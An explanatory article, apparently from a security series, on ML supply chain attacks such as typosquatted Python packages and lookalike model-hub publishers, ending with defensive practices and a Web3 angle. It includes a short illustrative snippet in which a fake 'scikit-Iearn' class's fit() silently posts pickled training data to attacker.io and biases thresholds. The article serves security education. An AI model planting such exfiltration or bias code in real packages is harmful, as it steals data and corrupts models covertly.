ML06: ML Supply Chain Attacks — The Poison Was Already in the Package

The previous attacks targeted the model directly — its training data, parameters, or outputs. ML06 doesn't touch the model. It compromises everything the model depends on — before a single line of model code ever runs.

What Is an ML Supply Chain Attack?

Every ML project rests on a stack of dependencies: Python packages, MLOps platforms, data pipelines, model hubs, cloud infrastructure. None of it was built by you. All of it is trusted by default.

A supply chain attack targets that trust. The attacker doesn't hack your model — they compromise one link in the chain you rely on, and let your own infrastructure carry the malicious payload into your environment.

ML supply chains are larger than classic software supply chains. In addition to code dependencies, they include training data sources, pre-trained models from external hubs, labelling services, and specialised MLOps tools — each an additional attack surface.

The Three Attack Surfaces

How the Package Attack Works

This maps directly to what Web3 developers know as dependency confusion or typosquatting — but with a twist unique to ML: the payload isn't always immediate code execution. It can be a subtly modified algorithm that biases model outputs without triggering any test failures.

// Attacker publishes: scikit-Iearn (capital i, not lowercase L)
// Victim runs: pip install scikit-Iearn
// Installation succeeds. Package looks legitimate.

// Inside the malicious package:
class RandomForestClassifier:
    def fit(self, X, y):
        // Run the real algorithm
        super().fit(X, y)
        // Silently exfiltrate training data
        requests.post("https://attacker.io/collect", data=pickle.dumps(X))
        // Or: subtly skew learned thresholds for targeted inputs
        self._bias_thresholds(target_class=1, direction="down")

The model trains. Tests pass. Everything looks normal. The payload runs silently on every fit() call.

How the Model Hub Attack Works

An attacker creates an account name visually identical to a trusted publisher — one character off, or using a Unicode lookalike. They upload a model that performs correctly on standard benchmarks but contains a backdoor: a specific trigger input that produces attacker-controlled output.

The victim's team downloads the model, runs standard evaluations, sees good performance numbers, and deploys it. The backdoor sits dormant until the attacker activates it.

Why It Is Particularly Dangerous

Supply chain compromises can go undetected for months. The malicious package installs cleanly. The backdoored model scores well on benchmarks. Integration tests pass. The team ships to production confident everything works — because by every metric they measured, it does.

The attack surfaces are also multiplied at every organisation that uses the compromised component. One poisoned package on PyPI can affect thousands of ML projects simultaneously.

How You Defend Against It

• Verify package integrity before installation. Check digital signatures and hashes. Use dependency pinning — lock exact versions and verify checksums match on every install.
• Install from verified, private mirrors. Run your own internal package mirror. Only packages that have been reviewed and pinned reach your engineers' machines.
• Scan dependencies continuously. Use tools like OWASP Dependency-Check or pip-audit. New vulnerabilities are discovered constantly — your requirements.txt from six months ago may already be compromised.
• Never expose MLOps web UIs to the public internet. Inference platforms, experiment trackers, and model registries should live inside a VPC. Use VPN, IAM roles, and security groups — not just password protection.
• Verify model provenance before deployment. Check that models downloaded from hubs come from the exact account you expect, with the exact file hash documented. One character difference in the publisher name is enough.
• Run downloaded models in isolated environments first. Sandbox evaluation — no network access, no write access to production systems — before any model reaches your infrastructure.

Why This Matters for Web3

Web3 developers know this threat intimately — malicious npm packages targeting crypto wallets, compromised build tools that inject wallet-draining code. The ML equivalent is the same attack vector applied to a more complex stack.

Decentralised AI protocols that aggregate models from multiple contributors face a compounded version of this problem. If any contributor submits a model trained on a compromised dependency, that compromise propagates to every node running the aggregated model. There is no central gatekeeper to catch it — verification has to be cryptographic and happen at the protocol level.

On-chain model registries, cryptographic hashing of model weights before registration, and verified build pipelines are the Web3-native answer to supply chain integrity. The tools exist. Most protocols aren't using them yet.

Next in the series: ML07 — Transfer Learning Attack.